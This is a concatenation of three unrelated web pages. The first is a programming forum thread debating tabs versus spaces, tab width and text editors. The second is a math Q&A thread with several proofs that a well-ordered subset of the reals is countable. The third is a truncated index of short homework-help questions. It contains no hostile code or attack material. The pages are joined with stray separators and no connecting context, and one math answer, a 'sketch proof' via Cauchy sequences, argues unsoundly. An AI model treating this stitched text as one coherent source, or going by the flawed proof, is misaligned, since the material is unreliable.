# Most Used Coding Styles (Just a Few Basic Items) ## Recommended Posts There's been a claim at my job as to what the most common coding styles used in the world are, which appears to be a blatant lie. Nonetheless, without revealing which the claim is, I was curious what others thought? Just a few basic items? 1) Tabs vs. Spaces? Which is more common? 2) What's the most common usage for how many spaces a tab character is? 2, 3, 4, 5, 8? 3) Usage of tabs or spaces for alignment (as opposed to indentation)? These are really minor issues, but the tech lead is making a big deal about them, and I was just curious what really is the most common style? Thanks. ##### Share on other sites 1. It doesn't matter. A modern IDE will allow you to reformat the code to your own style. There are technical advantages to spaces if you're burdened with an archaic IDE for some reason. 2. 4 I believe is standard for most editors, some people prefer 2, some 6 or 8. Odd numbers of spaces are... odd. 3. Again, technical advantages for spaces if you're using stone knives and bearskins. ##### Share on other sites A very minor thing; but some people just freak out about the little things. [smile] 1) I've generally only seen tabs. 2) Whatever is VisualStudio's default. otherwise 4 3) no idea what you mean by this. indentation is the use of tabs or spaces. -me ##### Share on other sites Quote: Original post by Telastyn1. It doesn't matter. A modern IDE will allow you to reformat the code to your own style. There are technical advantages to spaces if you're burdened with an archaic IDE for some reason.2. 4 I believe is standard for most editors, some people prefer 2, some 6 or 8. Odd numbers of spaces are... odd.3. Again, technical advantages for spaces if you're using stone knives and bearskins. Are you saying that some IDEs give you astyle-like options when you're editing a file, to display it one way, but save it differently? If so, that would be great. ##### Share on other sites Quote: Original post by PalidineA very minor thing; but some people just freak out about the little things. [smile]1) I've generally only seen tabs.2) Whatever is VisualStudio's default. otherwise 43) no idea what you mean by this. indentation is the use of tabs or spaces.-me On point #3, what I was referring to is differentiating indentation vs. alignment. For indentation, that's when you use a tab/x spaces to the left. Alignment is when you use character placement to line things up, say for a comment to the right. Quick example: identationIsToTheLeftOfThis; // Alignment is how it lines up to the right of the semicolon IndentedConstructor() : indentedAndAlignedInitializerList(), ... ##### Share on other sites Quote: Original post by Rydinare Quote: Original post by Telastyn1. It doesn't matter. A modern IDE will allow you to reformat the code to your own style. There are technical advantages to spaces if you're burdened with an archaic IDE for some reason.2. 4 I believe is standard for most editors, some people prefer 2, some 6 or 8. Odd numbers of spaces are... odd.3. Again, technical advantages for spaces if you're using stone knives and bearskins. Are you saying that some IDEs give you astyle-like options when you're editing a file, to display it one way, but save it differently? If so, that would be great. Not to my knowledge. They simply provide options to the formatting engine. Netbeans has profiles which would easily allow you to swap preferences and reformat before saving/checkin. Visual Studio Express at least doesn't seem to. I've heard of places that ran a scheduled auto-formatter on their source control to control the rampant 'everything changed!' that diff sees when the code is simply reformatted differently everywhere. ##### Share on other sites Quote: Original post by RydinareThere's been a claim at my job as to what the most common coding styles used in the world are, which appears to be a blatant lie. Nonetheless, without revealing which the claim is, I was curious what others thought?Just a few basic items?1) Tabs vs. Spaces? Which is more common?2) What's the most common usage for how many spaces a tab character is? 2, 3, 4, 5, 8?3) Usage of tabs or spaces for alignment (as opposed to indentation)?These are really minor issues, but the tech lead is making a big deal about them, and I was just curious what really is the most common style?Thanks. As far as I am concerned, there are only two ways to get it seriously wrong: #1. int foo (int bar, int baz) { float wibble; Object quux, spam, ni; if (something) { } }// I.e., you don't care at all. #2. int foo(int bar, int baz) { float wibble; Object quux, spam, ni; if (something) { // 4 spaces if (something else) { // tab // tab followed by 4 spaces } }}// I.e., assuming that a tab represents a specific number of spaces, and then treating spaces and tabs interchangeably. For almost anything else, you should show a little tolerance. People have their reasons. (But do aim for consistency, no matter what.) Anyway, whatever's "most common in the world" is irrelevant (and subject to broad disagreement anyway): use what your team finds most agreeable, and stop wasting time worrying about it. ##### Share on other sites If you used tabs for indenting, you'd have to use tabs for alignment, right? so: tabs, 4, tabs but I think a lot of IDEs convert tabs to spaces, so you use the tab key but it saves spaces? ##### Share on other sites Quote: Original post by Telastyn1. It doesn't matter. A modern IDE will allow you to reformat the code to your own style. There are technical advantages to spaces if you're burdened with an archaic IDE for some reason.2. 4 I believe is standard for most editors, some people prefer 2, some 6 or 8. Odd numbers of spaces are... odd.3. Again, technical advantages for spaces if you're using stone knives and bearskins. As a SK&BS (heh) user myself, you get the best advantage from tabs for indentation, but spaces for alignment. The tabs let everyone set their tab stop as they like to indent the amount they like (and eliminates arguments - unless you have wackos on your team who would seriously propose to indent by more than one tab per level!), while spaces for alignment make sure that things are aligned no matter how big the tabs are, or whether they use a "tab stop" system or are just interpreted as N spaces wide. As for the number of spaces that a tab is interpreted as, that doesn't belong in a coding spec, because setting a value in the spec would (a) defeat the purpose of tabs (see above); and (b) seed the very dangerous (or at least irritating) meme that tabs and spaces can be treated interchangeably. That said, I've seen increasingly more people interpreting them as 3 spaces these days, and I'm sure I've seen editors in my time that assumed 5 spaces. (I like 2, personally.) Some people outlaw tabs simply because they feel they aren't worth the effort. I really don't see that they're difficult to get right, though. Although they do cause one major annoyance for me as a forum user: you can't type them directly in the posting box x.x Quote: Original post by BoderIf you used tabs for indenting, you'd have to use tabs for alignment, right? Er, no. Alignment is the extra space you put after indentation, which is (some indent distance) times (level of indentation). You can set indent distance = 1 tab, tab / space = undefined, and still use spaces to line things up past the level of indentation. Which is exactly how I do it. ##### Share on other sites His example shows a right-hand comment, for "alignment" so tabs would have to be used to guarantee alignment of the left edge func(); // comment after five spaces if(1) { boot(); // comment after three spaces } // now tabs=4 func(); // comment after five spaces if(1) { boot(); // comment after three spaces } Thinking more, using tabs would probably just make it worse [sick] ##### Share on other sites Except for html, I try to indent using a tab set to 4 spaces. When I'm using html, I just use 2 spaces for each indent. ##### Share on other sites Ok, there's been enough interesting responses, I suppose I can post the results of where we are. Currently, the tech lead of the project is mandating a style. Of particular note is that the style is preferred by the minority of people in the development group, including heavily contrasting with another project he's supposed to be cooperating with. I liked the comment of using tabs for indenting and spaces for alignment. I do the same thing. Oddly, the tech lead prefers the opposite. He uses 2 spaces for indentation and an 8-space tab for alignment (Why would someone who preaches spaces use tabs for alignment anyway?). This causes some ugly/oddly spaced code. He argues that this is the most common style in the world (utter BS, right?) We already agreed on consistency: existing modules use existing style; new modules use creator's preference. Now he's also mandating editor configuration. I tend to use 4 space tabs, as from what I can tell, it is the most common style. He's mandating 8 space tabs, which makes no sense. Quote: Original post by BoderHis example shows a right-hand comment, for "alignment" so tabs would have to be used to guarantee alignment of the left edge func(); // comment after five spaces if(1) { boot(); // comment after three spaces } // now tabs=4 func(); // comment after five spaces if(1) { boot(); // comment after three spaces }Thinking more, using tabs would probably just make it worse [sick] A better question is why are you lining up comments from different levels of indentations? Am the only one who doesn't think it makes any sense to do so? ##### Share on other sites This stuff is the basis for many holy wars. The only people who really gain from "Holy wars" are the gunsmiths. ##### Share on other sites Quote: Original post by speciesUnknownThis stuff is the basis for many holy wars. The only people who really gain from "Holy wars" are the gunsmiths. Absolutely. I'm merely trying to gain some perspective. The tech lead is an absolute micromanager (and he's not even my manager!). He has the classic "nothing is good enough" syndrome. This post was mostly for informative purposes (and slightly rantative). If I had it my way, the ideal way would be that everyone uses whatever style they like as long as what was checked in is mostly consistent with the documented coding standards (there are none documented, in this case). Even if there were cases where there were slight inconsistencies, who cares? There's bigger fish to fry. But some people just can't compromise. ##### Share on other sites Quote: Original post by RydinareI liked the comment of using tabs for indenting and spaces for alignment. I do the same thing. Oddly, the tech lead prefers the opposite. He uses 2 spaces for indentation and an 8-space tab for alignment (Why would someone who preaches spaces use tabs for alignment anyway?). This causes some ugly/oddly spaced code. He argues that this is the most common style in the world (utter BS, right?) Utter BS, yes. ##### Share on other sites Okay, my new answer (my original one, before I did some serious overthinking) is tabs,4,spaces ##### Share on other sites Quote: Original post by BoderOkay, my new answer (my original one, before I did some serious overthinking) istabs,4,spaces Can you elaborate? ##### Share on other sites I dunno. I just ask the IDE to indent things for me (emacs: M-x indent-region, VS: C-k C-f) and it uses whatever is necessary (although I suspect they all use spaces, with two-space for emacs and four-space for VS). ##### Share on other sites Quote: Original post by ToohrVykI dunno. I just ask the IDE to indent things for me (emacs: M-x indent-region, VS: C-k C-f) and it uses whatever is necessary (although I suspect they all use spaces, with two-space for emacs and four-space for VS). Yes. Well, one thing is that there's at least four editors being used (vim, Emacs, Eclipse, Visual Studio). The fact that people are choosing to use vim and Emacs as their primary editor at this point almost seems ridiculous, though. ##### Share on other sites Quote: Original post by RydinareThe fact that people are choosing to use vim and Emacs as their primary editor at this point almost seems ridiculous, though. I use emacs because it's more flexible than the other editors: • It handles OCaml. This includes a decent toplevel interaction system which I've seen in no other IDE. It also provides correct syntax highlighting: C-based IDEs generally fail to recognize nested comments, type parameters ('a is not the beginning of a character literal) or even highlight types. • It handles LaTeX. It's auto-configured upon install, it's free, and it provides a reasonable amount of built-in WYSIWYG with minimal effort. Few editors I've seen handle LaTeX this well, and most that do are unusable for anything else and cost money. • It handles XML and HTML, and also performs automatic validation of code. While not as advanced as a dedicated HTML editor, it's enough for my needs and doesn't require me to have several editors running at the same time. • It handles C, C++, PHP, Java correctly without requiring anything more than apt-get install whatever-mode. • It handles script and makefile editing. • It's entirely keyboard-controlled by default and in a reasonably standard way across computers. This may sound useless, but it's actually great to be able to keep your hands on-keyboard at all times. Until I can find a single editor that can handle all the above on my workstation, I will use emacs as my primary editor, and only resort to secondary editors (such as Visual Studio) when I have extremely specific work to do. ##### Share on other sites Quote: Original post by ToohrVyk Quote: Original post by RydinareThe fact that people are choosing to use vim and Emacs as their primary editor at this point almost seems ridiculous, though. I use emacs because it's more flexible than the other editors: • It handles OCaml. This includes a decent toplevel interaction system which I've seen in no other IDE. It also provides correct syntax highlighting: C-based IDEs generally fail to recognize nested comments, type parameters ('a is not the beginning of a character literal) or even highlight types. • It handles LaTeX. It's auto-configured upon install, it's free, and it provides a reasonable amount of built-in WYSIWYG with minimal effort. Few editors I've seen handle LaTeX this well, and most that do are unusable for anything else and cost money. • It handles XML and HTML, and also performs automatic validation of code. While not as advanced as a dedicated HTML editor, it's enough for my needs and doesn't require me to have several editors running at the same time. • It handles C, C++, PHP, Java correctly without requiring anything more than apt-get install whatever-mode. • It handles script and makefile editing. • It's entirely keyboard-controlled by default and in a reasonably standard way across computers. This may sound useless, but it's actually great to be able to keep your hands on-keyboard at all times. Until I can find a single editor that can handle all the above on my workstation, I will use emacs as my primary editor, and only resort to secondary editors (such as Visual Studio) when I have extremely specific work to do. Interesting. Just for reference, other editors handle most of those. I have no idea about OCaml or Latex. XML handles just fine in Visual Studio. When I do Java, I use Eclipse, which has a bunch of nice tools (refactoring, automatic compilation, etc...) that go along with it. That's part of the IDE experience, is you get more than just a text editor. Anyway, while I understand that you can gain a familiarity by sticking with a single editor, I think you might also find that specialized editors for a particular task work better than a single do-it-all solution for every type of thing you're editing. Anyway, since the only things of that list we're currently using are C++, XML and Python, I'm not sure my other team members could use the same reasoning. ##### Share on other sites Quote: Original post by RydinareJust for reference, other editors handle most of those. I can't help but notice that you are missing my entire point and arguing for something else right now than you did in your previous post. If you remember your initial statement, you might notice that it was related to the choice of a primary text editor, namely the fact that emacs or vim are ridiculous for that purpose. I certainly agree that, for the purpose of developing C++ code, a specialized IDE such as Visual Studio is a clearly better alternative, as it provides a cleanly integrated graphical interface for debugging and a streamlined build system designed specifically for C++. However, using Visual Studio as my primary editor will not allow me to write OCaml, LaTeX, PHP or Java code with reasonable ease, which is actually quite unacceptable. This makes Visual Studio a good choice for a specialized text editor (as it handles C++ and C# code quite well), but a lousy choice for a primary text editor. And so, my point is that most existing editors are good specialized editors, but none of them qualify as a good primary editor, because they can't handle the breadth of everything I do. Quote: Anyway, while I understand that you can gain a familiarity by sticking with a single editor, I think you might also find that specialized editors for a particular task work better than a single do-it-all solution for every type of thing you're editing. This is not an argument against using Foo or Bar as a primary editor. This is an argument against the very existence of a primary editor, as opposed to a toolbox of specialized editors. I personally tend to only consider using a specialized editor when the project is large enough to gain something from it, and I routinely use Visual Studio for large C++ projects. On the other hand, you must notice that in essence, Visual Studio is actually an unspecialized editor with specialized "plugins" for C# and C++, and Eclipse also works based on a "plugin" system which can support Java, C++, OCaml, and others. The same goes for emacs, which is an unspecialized editor with specialized "plugins" for C, C++, Java, PHP, XML, OCaml, LaTeX... Ultimately, the quality of a tool is a combination of that tool's general usability, combined with the efficiency of its specialized plugins. ##### Share on other sites I just use the tabs as spaces option in VS to keep any people that are picky about such things happy. Otherwise there was the possibility that someone assumed that a tab had so many spaces and someone else just put in tabs and that it won't be represented the same across different editors/setups. If it is just me editing the file then if I have tabs in the code it doesn't really matter as I will keep it uniform. ##### Share on other sites Quote: Original post by ToohrVyk Quote: Original post by RydinareJust for reference, other editors handle most of those. I can't help but notice that you are missing my entire point and arguing for something else right now than you did in your previous post. If you remember your initial statement, you might notice that it was related to the choice of a primary text editor, namely the fact that emacs or vim are ridiculous for that purpose. I certainly agree that, for the purpose of developing C++ code, a specialized IDE such as Visual Studio is a clearly better alternative, as it provides a cleanly integrated graphical interface for debugging and a streamlined build system designed specifically for C++. However, using Visual Studio as my primary editor will not allow me to write OCaml, LaTeX, PHP or Java code with reasonable ease, which is actually quite unacceptable. This makes Visual Studio a good choice for a specialized text editor (as it handles C++ and C# code quite well), but a lousy choice for a primary text editor. And so, my point is that most existing editors are good specialized editors, but none of them qualify as a good primary editor, because they can't handle the breadth of everything I do. Quote: Anyway, while I understand that you can gain a familiarity by sticking with a single editor, I think you might also find that specialized editors for a particular task work better than a single do-it-all solution for every type of thing you're editing. This is not an argument against using Foo or Bar as a primary editor. This is an argument against the very existence of a primary editor, as opposed to a toolbox of specialized editors. I personally tend to only consider using a specialized editor when the project is large enough to gain something from it, and I routinely use Visual Studio for large C++ projects. On the other hand, you must notice that in essence, Visual Studio is actually an unspecialized editor with specialized "plugins" for C# and C++, and Eclipse also works based on a "plugin" system which can support Java, C++, OCaml, and others. The same goes for emacs, which is an unspecialized editor with specialized "plugins" for C, C++, Java, PHP, XML, OCaml, LaTeX... Ultimately, the quality of a tool is a combination of that tool's general usability, combined with the efficiency of its specialized plugins. I see where the confusion is. I meant "primary editor for C++". I apologize for the ambiguity of my statement. From what I'm talking about here, I was only referring to their C++ coding. I don't care if they use vi, emacs, notepad, etc... for editing non-C++ items, as it hasn't been an issue to date. Aside from the terminology confusion, I believe we're generally in agreement. ## Create an account Register a new account • ### Forum Statistics • Total Topics 628356 • Total Posts 2982253 • 10 • 9 • 13 • 24 • 11	{}
# Formal proof for A subset of the real numbers, well ordered with the normal order of $\mathbb R$, is at most $\aleph_0$ I tried to write a formal proof for the theorem: $A$ subset of $\mathbb R$ well ordered by the normal order $\implies A$ is at most of cardinality $\aleph_0$. Any suggestions? Thanks. - Every element has a successor, so you can associate to every element an interval above it, which contains...? – Qiaochu Yuan Jun 10 '11 at 14:19 Now that your question has been answered, let me point out that it may be interesting to observe furthermore that all the countable well-orderings are in fact represented by suborders of $\langle\mathbb{R},\lt\rangle$, and even of $\langle\mathbb{Q},\lt\rangle$. Let me give two proofs. The first proof is an elementary exercise in transfinite induction. One shows that every countable ordinal $\alpha$ embeds into $\mathbb{Q}$. Note that $0$ embeds trivially. If an ordinal $\alpha$ embeds, then by composing with an isomorphism of $\mathbb{Q}$ with an interval in $\mathbb{Q}$, we may suppose the embedding is bounded above, and thereby extend it to an embedding of $\alpha+1$. If $\lambda$ is a countable limit ordinal, with $\lambda=\text{sup}_n\alpha_n$, then by induction we may map $\alpha_n$ into $\mathbb{Q}\cap (n,n+1)$, and this is an embedding of an ordinal at least as large as $\lambda$. QED The second proof is simply to argue that $\langle\mathbb{Q},\lt\rangle$ is universal for countable linear orders: every countable linear order embeds into $\mathbb{Q}$. This is proved by using just the "forth" part of Cantor's famous back-and-forth argument, namely, given a linear order $L=\langle\{p_n\mid n\in\mathbb{N}\},\lt_L\rangle$, then map $p_n$ to a rational $q_n$ so that one has a order-preserving map at each finite stage. The next element $p_{n+1}$ relates to the previous elements either by being above them all, between two of them, or below them all, and we may choose a corresponding $q_{n+1}$ of the same type. So we get an order-preserving map $L\to \mathbb{Q}$. Thus, in particular, every countable well-ordering embeds into $\mathbb{Q}$. QED - There's something confusing me about your first proof. How do we know that the mapping of all the $\alpha_n$ is consistent with the ordering of $\lambda$? That is, you seem to have enumerated the $\alpha_n$ by natural numbers, but you can't do that for any countable ordinal and keep the ordering consistent. For example, if $\lambda = 2\omega$, where would $\omega + 1$ get mapped to? I may be misunderstanding something, I have quite limited experience with transfinite proofs. – MartianInvader Jun 10 '11 at 17:57 I just meant that $\lambda$ is the supremum of the $\alpha_n$, that is, that the $\alpha_n$ are cofinal in $\lambda$, because the embedding I build has ordertype $\Sigma_n\alpha_n$, which would then be at least as large as $\text{sup}_n\alpha_n$, which is $\lambda$. It isn't necessary that the $\alpha_n$ enumerate all the ordinals less than $\lambda$ or even that the $\alpha_n$ are increasing. In your remark, I think you mean $\omega\cdot 2$ rather than $2\omega$, since $2\omega=\omega$ in the usual ordinal arithemtic; but for $\omega\cdot 2$, you could take $\alpha_n=\omega+n$ if you like. – JDH Jun 10 '11 at 18:22 Ah, I understand. And yes, I did mean $\omega \cdot 2$. Thanks for the explanation. – MartianInvader Jun 10 '11 at 18:24 Suppose $A\subseteq\mathbb R$ can be well-ordered by the usual $<$, and fix an enumeration of the rationals, i.e. $\mathbb Q = \langle q_n\mid n\in\omega\rangle$. For $a\in A$ denote $S(a)$ the successor of $a$ in $A$, if $b\in A$ is a maximal element of $A$ then $S(b) = b+1$. For every $a\in A$ set $q_a$ the least rational $q_n$ in the enumeration, such that $a< q_n< S(a)$. Since $a\neq S(a)$ we have that $\mathbb Q\cap (a,S(a))$ is non-empty, therefore such minimal element exists. We prove that this is indeed one to one, suppose not then for some $a, b\in A$ such that $a\le b$ we have $q_a=q_b$. By the choice of $q_a$ we have that $a<q_a=q_b<S(a)$, therefore $a\le b<q_b=q_a<S(a)$. Since the $S(a)$ is the least element of $A$ such that $a<S(a)$, we have that $b\le a$ therefore $a=b$. We found an injective function of $A$ into a countable set, therefore it is countable. - I would say "the first rational", not "the least rational". There is no such least rational! – TonyK Jun 10 '11 at 16:34 @TonyK: There's also no "first rational", there is "least rational in the enumeration such that ..." however (which is the same as your suggestion). :-) – Asaf Karagila Jun 10 '11 at 16:47 (+1) Nice proof! Just a nitpick: "$a\le b\in A$" should be "$a,b\in A$, with $a\le b$,". Also, Tony K is right: "least" applies to orderings, not enumerations; "first" applies to enumerations. – John Bentin Jun 11 '11 at 12:44 @John: Thanks. I tried to shorten with $a<b$, but I should have written in full. As for "least" and "first", both apply to linear orderings, be them dense; well or any other kind. – Asaf Karagila Jun 11 '11 at 13:20 How do least and first apply to any linear ordering? There's no least or first integer. And regardless, when you say "least rational" it makes me think the usual order, I don't automatically assume you mean the rational with the least index. Ignoring correctness, from a communications/pedagogical stance "first" is better in this case, I feel like. – Ryan Apr 28 at 16:06 The following idea uses some set-theoretic machinery, has the advantage of coming from a simple geometric visualization. Suppose to the contrary that there is an uncountable set $A$ of reals which is well-ordered under the natural order. Then $A$ is order isomorphic to an uncountable ordinal. It follows that some subset $B$ of $A$ is order isomorphic to the least uncountable ordinal $\omega_1$. The set $B$ has a least element. By shifting if necessary, we can make that least element $0$. Either $B$ is bounded above or it isn't. If it is bounded above, let $m$ be the least upper bound. Note that since $B$ is order-isomorphic to $\omega_1$, $m$ cannot be in $B$. Then the map that takes $x$ to $x/(m-x)$ is order preserving, and "stretches" $B$ so that for every integer $n$, there is $b\in B$ such that $b>n$. (We have kept the name $B$ for the stretched set.) So we can assume that $B$ has smallest element $0$, and that for every integer $n$, there is an element of $B$ which is $>n$. Let $B_n$ be the intersection of $B$ with the interval $[0, n]$. Then $B_n$ is order isomorphic to an initial segment of $\omega_1$. Since $\omega_1$ is the least uncountable ordinal, it follows that $B_n$ is countable. Since $$B =\bigcup_{n \in N} B_n$$ we have expressed $B$ as a countable union of countable sets, or equivalently $\omega_1$ as a countable union of countable ordinals. This is impossible. - A sketch proof... Consider $\mathbb{R}$ as the set of equivalence classes of Cauchy sequences of rationals. We define "the normal" partial order on $\mathbb{R}$ by $x \leq y$ iff $(x = y)$ OR $(\forall \langle x_{i} \rangle)(\forall \langle y_{i} \rangle)(\langle x_{i} \rangle \in x$ AND $\langle y_{i} \rangle \in y \rightarrow (\exists n)(n \in \mathbb{N} \rightarrow (\forall m)(m > n \rightarrow x_{m} < y_{m}))))$. For $A$ to be well-ordered under this partial order there can only be at most $\aleph_{0}$ distinct $n$ in the last part of the definition as they are drawn from $\mathbb{N}$. -	{}
Sunday March 26, 2017 I really don't know what to do on this question. If someone could start me off I could probably get the answer. Remember I am in 6th grade. Dani has a sack of 50 pens. Of these, 10 are black, 15 are blue, and the rest are red. If she grabs a handful of 5 pens, how many would ... Monday, April 21, 2008 by Missy geometrey The grade of a road is 7%. What angle does the road make with the horizontal? I'm confused!! What is the grade of a road? Thanks for the help! Monday, March 10, 2008 by anna science: help i need to do a science fair project. i am in 7th grade and my teacher said that it can't be something a 6th grade or younger could do. i wanted to do something with kinetic energy. like maybe drop an egg from different heights and measure its k.e. any suggestions? Friday, March 7, 2008 by Brooke MATH-PERCENTILES I JUST TOOK A TEAS TEST(FOR PRACTICAL NURSING ADMISSIONS). THE REQUIREMENTS MUST BE A GRADE IN AT LEAST THE 40TH PERCENTILE IN EACH SUBJECT. THERE WAS A MATH, READING,ENGLISH, AND SCIENCE SECTION. TOTAL OF QUESTIONS WERE 170.MATH-45? READING-40? ENGLISH-55 ? SCIENCE-30 ? I WAS... Saturday, February 9, 2008 by TORI algebra Sam must have an average of 70 or more in his summer course to obtain a grade of C. His firs three test grades were 75,63, and 68. Write an inequality representing the score that Sam must get on the last test to get a C grade. Wednesday, October 10, 2007 by seano math An instructor counts homework as 1/3 of the student's grade and the final exam to be 2/3 of the student's final grade. Going into the final exam a student has a homework grade of 48%. What range of scores on the final exam would put the student's final average between 70% and... Sunday, September 30, 2007 by Jessica random I dunno. Why don't u wait 4 a teacher 2 answer that? I guess any grade that can type and ask Qs. :p any grade. Monday, May 7, 2007 by Lily math,algebra Can someone set this up in equations so i can solve them i would greatly appreciate it. THanks. Problem #3 The base of a ladder is 14 feet away from the wall. The top of the ladder is 17 feet from the floor. Find the length of the ladder to the nearest thousandth. Problem #4 A... Tuesday, April 17, 2007 by jasmine20 Science What is the deepest soil layer? A. subsoil B. topsoil C. bedrock D. humus http://www.enchantedlearning.com/geology/soil/ a becouse you have to use process of elemenation bedrock its bedrock because bedrock it in fact the deepest layer of soil to tell you subsoil is not ... Tuesday, April 17, 2007 by Missy english i need help writing a "i am" metaphor poem. The format is 10 lines of I am metaphors and the 11th line is what you are like i am annoying or i am blonde or something. PLease help it is due tomorrow! Someone here will be happy to give you feedback on what you write. Please ... Monday, April 2, 2007 by christina math Ted must have an average of 70 or more in his summer course to obtain a grade of C. His first three test grades were 75, 63,and 68. Write an inequality representing the score that Ted must get on the last test to get a C grade. Let X be the grade on the next test. The average ... Monday, March 19, 2007 by cheryl Math Are you trying to solve for x, n or p? solve for n Show me how to work this problem. 2n = 4xp - 6 what is the problem? what grade r u in i am in 6 grade To get n all by itself, you need to divide by 2. But if you divide by 2 on the left, you have to divide by 2 on the right... Wednesday, March 14, 2007 by drwls math what is the difference between translation , rotation, relections, and dilation in 8 grade work In 8th grade talk, I recommend you check the examples in your book. OR, if you put your definitions here, I can critique them. Sunday, January 28, 2007 by jose Math Homework grades are 5% of the overall grade. Lab work is 15% of the overall grade. Tests are 60% of the overall grade. The Final is 20% of the overall grade. Could a student that has a 75 homework average, 80 lab average, 40 test average, and 50 on the final pass the course? ... Tuesday, September 19, 2006 by Veronica What is a modern form of paper. Wednesday, March 8, 2017 by Dan What were huge steam engines called? Tuesday, March 7, 2017 by Ashley Algebra A clock's minute hand moves 60 grade in 10 minutes and 180 grade in 30 minutes low far does it move from 11:00 to 11:40? What is the problem asking you to find? The measure of the angle on a clock from What do you need to know to solve the problem? What is the measure of the ... Friday, March 3, 2017 by Marina statistics and probability n a written test given to a large class comprising 42 students, the test scores were found to be normally distributed with a mean of 78 and a standard deviation of 7. A minimum score of 60 was needed to pass the test. A score of 90 or greater was needed to earn an A in the ... Tuesday, February 14, 2017 by faye math Ali is planning to keep fit through practicing push-ups for 21 days. on the first day, he can only do 14 push-ups in a minute. He plans to do x more push-ups in a minute on the next day. How many push-ups can he do in a minute on 11th days? (in term of x) Friday, February 3, 2017 by Dina Math Unit Geometry Test 8th Grade Does anybody know the answers for the geometry unit test, 8th grade ? Tuesday, January 31, 2017 by The idiot accounting Which college or university could I go after grade 12 Sunday, January 15, 2017 by Ndlandla -2.4/5 1/3 -2.4/5.333 =-0.45????? Thursday, January 12, 2017 by marilyn How do I find the answer to 234 divided by 89 + 53 x 72 Wednesday, January 11, 2017 by Sally all For highschool what percentages correspond with grade letters. like is a 91% an A, A-, or A+ Monday, January 9, 2017 by Anonymous Math At one afterschool event, of the students were 8th graders and the rest were 7th graders. Of the students who were in 7th grade, the ratio of boys to girls was 3:5. What percent of all the students at the afterschool event were boys who are in the 7th grade? Help plz Sunday, January 8, 2017 by Anonymous Math A science class has 3 girls and 7 boys in the seventh grade and 5 girls and 5 boysin the eighth grade. The teacher randomly selects a seventh grader and an eighth grader from the class for a competition. What is the probability that the students she selects are both girls? Monday, December 12, 2016 by Tay Math A science class has 3 girls and 7 boys in the seventh grade and 5 girls and 5 boysin the eighth grade. The teacher randomly selects a seventh grader and an eighth grader from the class for a competition. What is the probability that the students she selects are both girls? Monday, December 12, 2016 by Gia Chemistry I am using 85% ACS grade phosphoric acid. I need to make a 21% phosphoric acid solution with a total volume of 250ml. I have been told that 37ml of the 85% ACS grade phosphoric acid plus 188ml of Deionized water will create the 21% phosphoric acid solution I need to make. I'm ... Friday, December 9, 2016 by Melissa math algebra At a college, records show that the average persons grade point average, G, is a function of the number of hours he or she studies and does homework per week h. The grade point average can be estimated by the equation : G=0.01h^2 +0.2h+1.2 To obtain a 3.2 GPA how many hours ... Wednesday, December 7, 2016 by tom What is 271÷7 with a remainder? Monday, December 5, 2016 by Anonymous (no name pl MATH Taylor surveys students in one grade level who own at least one pet. She finds that 50% of the students surveyed own 2 pets, 3 students own 3 pets each, and 2 students own 4 pets each. Eight of the students in the grade own 1 pet. Considering the number of pets as the random ... Friday, December 2, 2016 by Anonymous R/5 - 6 = -1 I know the answer is 25, but can you show me the steps. Thank you. Math Ricky took a survey in the fifth grade and found that 2/3 of the students ride the bus to school and 1/4 of the students walk. What fraction of the fifth grade students either ride the bus or walk to school? Monday, November 21, 2016 by Mark Math Plz help me what dose underestimate mean ps in 5th grade Wednesday, November 9, 2016 by Essence Forbes HOW DO YOU MULTIPLY 3,333 and 5? Sunday, October 23, 2016 by Anonymous kid (no name pl Math I need help with homework 2-10 fifth grade Wednesday, October 19, 2016 by Emma Salvador bought 3 pounds of oranges that cost x cents per pound, a cucumber for 59 cents, and 2 bananas for 35 cents. Write an expression in simplest form that represents the amount spent. I don't understand how you would write that into an equation. I don't think I should be ... Sunday, October 16, 2016 by Jacobe Bacterial populations can grow to enormous numbers in a matter of a few hours with the right conditions. If a bacterial colony doubles size every 15 minutes, how many bacteria will be present after 1 hour if the colony began with 4 bacteria? Sunday, October 16, 2016 by Jacobe Data management How many ways can 5 student receive a grade A or E Monday, October 10, 2016 by Funkyjedman Algrebra and Math Can you help me answer this question? I'm confused, and show me how you did it, that way I can understand on how to solve it more? The total number of students in 8th Grade is 32, including Fran and Billy, Who are one of the female and male students respectively. Fran has ... Wednesday, October 5, 2016 by Anonymous Marh If I missed 9 questions out of 27 what wil my grade be Monday, October 3, 2016 by Anonymous I want the imagine paragraph Monday, October 3, 2016 by fried 1. 5/6 + 4/9 1/2 9/18 1 5/18 1 1/2 Tuesday, September 27, 2016 by Lakota math f i have a 100 in a class and i get a 0 on something that is worth 23% what will my grade be ? Tuesday, September 27, 2016 by question insert in parentheses: 14+2=6+2x3+2 Friday, September 23, 2016 by john math Each test grade in Sara's science class counts for 1/6 of the final grade. The final exam counts for 1/2. Sara's test scores are 72, 84, and 90. Her final exam score is 90. What is Sara's final grade for the class? A) 83 B) 86 C) 87 D) 89 Thursday, September 22, 2016 by Scribble Math Mandy had 22 correct her grade was 80% how many questions on the test? Thursday, September 15, 2016 by Ja'Quan stats Jason, a freshman at a local college, just completed 15 credit hours. His grade report is presented below. Course: Calculus, Biology, English, Music, P.E. Credit Hours 5, 4, 3, 2, 1 Grades C, A, D, B, A The local university uses a 4 point grading system, i.e., A = 4, B = 3, C... Thursday, September 15, 2016 by Ana Algebra 1 The number of boys to girls any grade level is 7:2. If there are 48 girls in the grade level how many boys are there ? Wednesday, September 7, 2016 by Anonymous math At the end of the 8th grade,Lin was 3.6 feet tall.Over the next two years he grew 1.2 feet tall. How tall was Lin at the end of the 10th grade Wednesday, September 7, 2016 by Nausicaa simplify -2.6 + (-5.4)pls help Friday, August 26, 2016 by ary 1 5/6 divided by 5 2/5 Thursday, August 25, 2016 by mythreyee Wednesday, August 24, 2016 by kurt what does accessibility refer to Wednesday, August 17, 2016 by ms.oreo English grammar What is the prepositional phrase is the following: 1. We were doing a mathematical test when the fire alarm rang yesterday. 2.The new girl in our ESL class has a brother I grade 7 and a sister in grade 9. 3.I didn't know what time it was so I very late to class. 4.To build a ... Saturday, June 18, 2016 by Divyan math Mercy must obtain an average mark of at least 85 to get an A grade in her mathematics examination,out of the four examinations she obtained 80,85 and 82 in the first three. Find the mark she must obtain on the fourth examination of to enable her get an A grade. Saturday, June 11, 2016 by Glory Which construction is illustrated below? a. a perpendicular to a given line from a point not on the line b. a perpendicular to a given line from a point on the line c. perpendicular bisector of a given segment d. bisector of a line segment Please help with this. It doesn't get... Thursday, June 2, 2016 by Mame How can I factor 18x^2+x=5 by completing the square? Tuesday, May 17, 2016 by Anonymous S.st What are the answer for number 3 and 4 in week 17 for 4th grade??.. Thursday, May 12, 